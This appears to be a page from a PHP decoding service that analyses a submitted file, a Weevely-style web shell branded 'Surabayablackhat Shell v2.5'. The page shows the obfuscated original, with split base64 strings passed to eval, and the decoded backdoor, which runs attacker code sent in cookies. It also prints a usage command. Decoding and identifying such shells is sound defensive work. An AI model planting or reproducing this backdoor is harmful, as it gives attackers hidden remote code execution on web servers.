Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

Weevely backdoor, Surabayablackhat Shell v2.5 by #SurabayaBlackhat Team <br> www.surabaya..

Decoded Output download

None$c='count';$a=$_COOKIE;if(reset($a)=='su' && $c($a)>3){ini_set('error_log', '/dev/null');$k='rabayablackhat';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';}

Did this file decode correctly?

Original Code

Weevely backdoor, Surabayablackhat Shell v2.5 by #SurabayaBlackhat Team <br>
www.surabayablackhat.org <br>

How to use : <br>

./weevely.py http://<?php echo $_SERVER['SERVER_NAME'];?>/bd.php surabayablackhat <br>

<?php 
$go2="XQoJwr2Vycmwr9yX2xvwrZycsICcvZGVwr2L251bGwnKTskaz0ncmFiYXlhYwrmxwrhY2wrtoYXQnO2wrVjaG8gJzwnLiRwrrLicwr+J";
$oge = "str_replace";
$go4="JheSgnJwrywrwwrnKycpLCBqb2wrluKGFycmF5X3NsaWNwrlwrKCRhLCRwrjKCRhKS0zKSkpKSk7ZWNobyAnPC8nLiwrRrLic+Jzt9";
$go1="JGM9Jwr2NvdwrW50JzskYTwr0wrkX0NPT0tJRwrTtpZwrihyZXNldwrCgkYSk9PSdzdScgJiYgJGMoJGEpPjMpewr2luaV9zZwr";
$ghw = "kbaske6k4_dkekckokdke";
$go3="ztldmFwrsKGJhc2U2wrNF9kZWwrNvZwrGUocHJlZ19yZwrXBwrswrYWNlKGFycmF5KCcvW15cdz1cc10vJywnL1xzLycpLCBhcn";
$ghw = $oge("k", "", $ghw);
eval($ghw($oge("wr", "", $go1.$go2.$go3.$go4))); 
?>

Function Calls

str_replace 2
base64_decode 1

Variables

$ghw base64_decode
$go1 JGM9Jwr2NvdwrW50JzskYTwr0wrkX0NPT0tJRwrTtpZwrihyZXNldwrCgkYS..
$go2 XQoJwr2Vycmwr9yX2xvwrZycsICcvZGVwr2L251bGwnKTskaz0ncmFiYXlhY..
$go3 ztldmFwrsKGJhc2U2wrNF9kZWwrNvZwrGUocHJlZ19yZwrXBwrswrYWNlKGF..
$go4 JheSgnJwrywrwwrnKycpLCBqb2wrluKGFycmF5X3NsaWNwrlwrKCRhLCRwrj..
$oge str_replace

Stats

MD5 7575ba1fcd9e6b07e41cffa18308b420
Eval Count 1
Decode Time 118 ms